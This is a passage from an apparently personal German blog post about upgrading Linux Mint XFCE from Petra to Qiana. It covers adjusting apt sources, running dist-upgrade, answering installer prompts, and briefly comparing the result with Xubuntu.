/etc/apt/sources.list.d/owncloud-client.list

das xUbuntu_13.10 in der URL durch xUbuntu_14.04 ersetzt werden.

Sind alle Einträge angepasst, schiebt man das Update an

sudo apt-get update ; sudo apt-get dist-upgrade

das den Download von fast einem GB an Daten mit sich bringt.

im Zuge der Installation werden Rückfragen gestellt, die man bei Servern häufig mit Enter beantworten kann, ohne all zu viel kaputt zu machen. Beim Update auf Qiana und der Nutzung des Systems als „normaler Desktoprechner“ empfiehlt sich das Gegenteil: So sollte man z.B. die Fragen nach dem root Zugang für den SSH Server entgegen der Voreinstellung auf No schalten. Jeweils mit Yes als Antwort verfährt man auch bei der Rückfrage nach /etc/issue, /etc/issue.net und /etc/lsb-release. Und auch ein Yes auf die Frage „Restart services during package upgrades without asking?“ erleichtert einem die Arbeit.

Technische Vorteile gegenüber Xubuntu konnte ich auf den ersten Blick nicht entdecken. Das Einzige, was mir auffiel, war, dass man bei Drag and Drop auf dem Desktop bei LinuxMint-XFCE automatisch verschiebt, wohingegen man bei Xubuntu die Shift-Taste (oder war’s die Strg-Taste?) drücken muss. Das ist das von den meisten Anwendern bei der Nutzung eines Desktops wohl erwartete Verhalten und nervte mich bisher bei XFCE-Desktops. Aber sonst? Qiana trägt deutlich dicker auf (bei meinem System waren es 1,5 GB Platzbedarf mehr als unter Petra) als sein ihr Vorgänger oder gar Xubuntu.

Nach einem Reboot und etwas Aufräumen (siehe oben clean und autoremove) läuft auch ein älterer Rechner weiterhin nur angemessen langsam 😉